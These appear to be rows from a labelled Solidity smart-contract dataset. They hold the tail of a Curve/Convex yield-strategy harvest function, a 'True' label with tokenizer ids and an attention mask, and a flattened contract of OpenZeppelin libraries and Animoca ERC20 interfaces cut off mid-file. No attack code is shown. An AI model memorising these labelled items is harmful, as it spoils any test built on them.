// uint256 treeRewardBalanceGained = treeRewardBalanceAfter.sub(treeRewardBalanceBefore);
// emit TreeDistribution(token, treeRewardBalanceGained, block.number, block.timestamp);
// }
// }
// 4. Roll WBTC gained into want position
uint256 wbtcToDeposit = wbtcToken.balanceOf(address(this));
uint256 wantGained;
if (wbtcToDeposit > 0) {
_add_liquidity_single_coin(curvePool.swap, want, wbtc, wbtcToDeposit, curvePool.wbtcPosition, curvePool.numElements, 0);
wantGained = IERC20Upgradeable(want).balanceOf(address(this)).sub(idleWant);
// Half of gained want (10% of rewards) are auto-compounded, half of gained want is taken as a performance fee
uint256 autoCompoundedPerformanceFee = wantGained.mul(autoCompoundingPerformanceFeeGovernance).div(MAX_FEE);
IERC20Upgradeable(want).transfer(IController(controller).rewards(), autoCompoundedPerformanceFee);
emit PerformanceFeeGovernance(IController(controller).rewards(), want, autoCompoundedPerformanceFee, block.number, block.timestamp);
}
// Deposit remaining want (including idle want) into strategy position
uint256 wantToDeposited = IERC20Upgradeable(want).balanceOf(address(this));
if (wantToDeposited > 0) {
_deposit(wantToDeposited);
}
// 5. Deposit remaining CVX / cvxCRV rewards into helper vaults and distribute
if (harvestData.cvxCrvHarvested > 0) {
uint256 cvxCrvToDistribute = cvxCrvToken.balanceOf(address(this));
if (performanceFeeGovernance > 0) {
uint256 cvxCrvToGovernance = cvxCrvToDistribute.mul(performanceFeeGovernance).div(MAX_FEE);
cvxCrvHelperVault.depositFor(IController(controller).rewards(), cvxCrvToGovernance);
emit PerformanceFeeGovernance(IController(controller).rewards(), cvxCrv, cvxCrvToGovernance, block.number, block.timestamp);
}
if (performanceFeeStrategist > 0) {
uint256 cvxCrvToStrategist = cvxCrvToDistribute.mul(performanceFeeStrategist).div(MAX_FEE);
cvxCrvHelperVault.depositFor(strategist, cvxCrvToStrategist);
emit PerformanceFeeStrategist(strategist, cvxCrv, cvxCrvToStrategist, block.number, block.timestamp);
}
// TODO: [Optimization] Allow contract to circumvent blockLock to dedup deposit operations
uint256 treeHelperVaultBefore = cvxCrvHelperVault.balanceOf(badgerTree);
// Deposit remaining to tree after taking fees.
uint256 cvxCrvToTree = cvxCrvToken.balanceOf(address(this));
cvxCrvHelperVault.depositFor(badgerTree, cvxCrvToTree);
uint256 treeHelperVaultAfter = cvxCrvHelperVault.balanceOf(badgerTree);
uint256 treeVaultPositionGained = treeHelperVaultAfter.sub(treeHelperVaultBefore);
emit TreeDistribution(address(cvxCrvHelperVault), treeVaultPositionGained, block.number, block.timestamp);
}
if (harvestData.cvxHarvsted > 0) {
uint256 cvxToDistribute = cvxToken.balanceOf(address(this));
if (performanceFeeGovernance > 0) {
uint256 cvxToGovernance = cvxToDistribute.mul(performanceFeeGovernance).div(MAX_FEE);
cvxHelperVault.depositFor(IController(controller).rewards(), cvxToGovernance);
emit PerformanceFeeGovernance(IController(controller).rewards(), cvx, cvxToGovernance, block.number, block.timestamp);
}
if (performanceFeeStrategist > 0) {
uint256 cvxToStrategist = cvxToDistribute.mul(performanceFeeStrategist).div(MAX_FEE);
cvxHelperVault.depositFor(strategist, cvxToStrategist);
emit PerformanceFeeStrategist(strategist, cvx, cvxToStrategist, block.number, block.timestamp);
}
// TODO: [Optimization] Allow contract to circumvent blockLock to dedup deposit operations
uint256 treeHelperVaultBefore = cvxHelperVault.balanceOf(badgerTree);
// Deposit remaining to tree after taking fees.
uint256 cvxToTree = cvxToken.balanceOf(address(this));
cvxHelperVault.depositFor(badgerTree, cvxToTree);
uint256 treeHelperVaultAfter = cvxHelperVault.balanceOf(badgerTree);
uint256 treeVaultPositionGained = treeHelperVaultAfter.sub(treeHelperVaultBefore);
emit TreeDistribution(address(cvxHelperVault), treeVaultPositionGained, block.number, block.timestamp);
}
uint256 totalWantAfter = balanceOf();
require(totalWantAfter >= totalWantBefore, "want-decreased");
emit Harvest(wantGained, block.number);
return wantGained;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2184,
1011,
2260,
1008,
1013,
1013,
1013,
4216,
16379,
2007,
2524,
12707,
1058,
2475,
1012,
1020,
1012,
1018,
16770,
1024,
1013,
1013,
2524,
12707,
1012,
8917,
1013,
1013,
5371,
2139,
4523,
1013,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
6279,
24170,
3085,
1012,
14017,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
6279,
24170,
3085,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-05-07
*/
// Sources flattened with hardhat v2.2.1 https://hardhat.org
// File @openzeppelin/contracts/utils/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File @openzeppelin/contracts/GSN/[email protected]
pragma solidity >=0.6.0 <0.8.0;
// File @openzeppelin/contracts/introspection/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/math/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected]
pragma solidity 0.6.8;
/**
* @title ERC20 Token Standard, basic interface
* @dev See https://eips.ethereum.org/EIPS/eip-20
* Note: The ERC-165 identifier for this interface is 0x36372b07.
*/
interface IERC20 {
/**
* @dev Emitted when tokens are transferred, including zero value transfers.
* @param _from The account where the transferred tokens are withdrawn from.
* @param _to The account where the transferred tokens are deposited to.
* @param _value The amount of tokens being transferred.
*/
event Transfer(address indexed _from, address indexed _to, uint256 _value);
/**
* @dev Emitted when a successful call to {IERC20-approve(address,uint256)} is made.
* @param _owner The account granting an allowance to `_spender`.
* @param _spender The account being granted an allowance from `_owner`.
* @param _value The allowance amount being granted.
*/
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
/**
* @notice Returns the total token supply.
* @return The total token supply.
*/
function totalSupply() external view returns (uint256);
/**
* @notice Returns the account balance of another account with address `owner`.
* @param owner The account whose balance will be returned.
* @return The account balance of another account with address `owner`.
*/
function balanceOf(address owner) external view returns (uint256);
/**
* @notice Transfers `value` amount of tokens to address `to`.
* @dev Reverts if the message caller's account balance does not have enough tokens to spend.
* @dev Emits an {IERC20-Transfer} event.
* @dev Transfers of 0 values are treated as normal transfers and fire the {IERC20-Transfer} event.
* @param to The account where the transferred tokens will be deposited to.
* @param value The amount of tokens to transfer.
* @return True if the transfer succeeds, false otherwise.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @notice Transfers `value` amount of tokens from address `from` to address `to` via the approval mechanism.
* @dev Reverts if the caller has not been approved by `from` for at least `value`.
* @dev Reverts if `from` does not have at least `value` of balance.
* @dev Emits an {IERC20-Transfer} event.
* @dev Transfers of 0 values are treated as normal transfers and fire the {IERC20-Transfer} event.
* @param from The account where the transferred tokens will be withdrawn from.
* @param to The account where the transferred tokens will be deposited to.
* @param value The amount of tokens to transfer.
* @return True if the transfer succeeds, false otherwise.
*/
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
/**
* Sets `value` as the allowance from the caller to `spender`.
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @dev Reverts if `spender` is the zero address.
* @dev Emits the {IERC20-Approval} event.
* @param spender The account being granted the allowance by the message caller.
* @param value The allowance amount to grant.
* @return True if the approval succeeds, false otherwise.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* Returns the amount which `spender` is allowed to spend on behalf of `owner`.
* @param owner The account that has granted an allowance to `spender`.
* @param spender The account that was granted an allowance by `owner`.
* @return The amount which `spender` is allowed to spend on behalf of `owner`.
*/
function allowance(address owner, address spender) external view returns (uint256);
}
// File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected]
pragma solidity 0.6.8;
/**
* @title ERC20 Token Standard, optional extension: Detailed
* See https://eips.ethereum.org/EIPS/eip-20
* Note: the ERC-165 identifier for this interface is 0xa219a025.
*/
interface IERC20Detailed {
/**
* Returns the name of the token. E.g. "My Token".
* Note: the ERC-165 identifier for this interface is 0x06fdde03.
* @return The name of the token.
*/
function name() external view returns (string memory);
/**
* Returns the symbol of the token. E.g. "HIX".
* Note: the ERC-165 identifier for this interface is 0x95d89b41.
* @return The symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* Returns the number of decimals used to display the balances.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract.
* Note: the ERC-165 identifier for this interface is 0x313ce567.
* @return The number of decimals used to display the balances.
*/
function decimals() external view returns (uint8);
}
// File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected]
pragma solidity 0.6.8;
/**
* @title ERC20 Token Standard, optional extension: Allowance
* See https://eips.ethereum.org/EIPS/eip-20
* Note: the ERC-165 identifier for this interface is 0xd5b86388.
*/
interface IERC20Allowance {
/**
* Increases the allowance granted by the sender to `spender` by `value`.
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
* @dev Reverts if `spender` is the zero address.
* @dev Reverts if `spender`'s allowance overflows.
* @dev Emits an {IERC20-Approval} event with an updated allowance for `spender`.
* @param spender The account whose allowance is being increased by the message caller.
* @param value The allowance amount increase.
* @return True if the allowance increase succeeds, false otherwise.
*/
function increaseAllowance(address spender, uint256 value) external returns (bool);
/**
* Decreases the allowance granted by the sender to `spender` by `value`.
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
* @dev Reverts if `spender` is the zero address.
* @dev Reverts if `spender` has an allowance with the message caller for less than `value`.
* @dev Emits an {IERC20-Approval} event with an updated allowance for `spender`.
* @param spender The account whose allowance is being decreased by the message caller.
* @param value The allowance amount decrease.
* @return True if the allowance decrease succeeds, false otherwise.
*/
function decreaseAllowance(address spender, uint256 value) external returns (bool);
}
// File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected]
pragma solidity 0.6.8;
/**
* @title ERC20 Token Standard, optional extension: Safe Transfers
* Note: the ERC-165 identifier for this interface is 0x53f41a97.
*/
interface IERC20SafeTransfers {
/**
* Transfers tokens from the caller to `to`. If this address is a contract, then calls `onERC20Received(address,address,uint256,bytes)` on it.
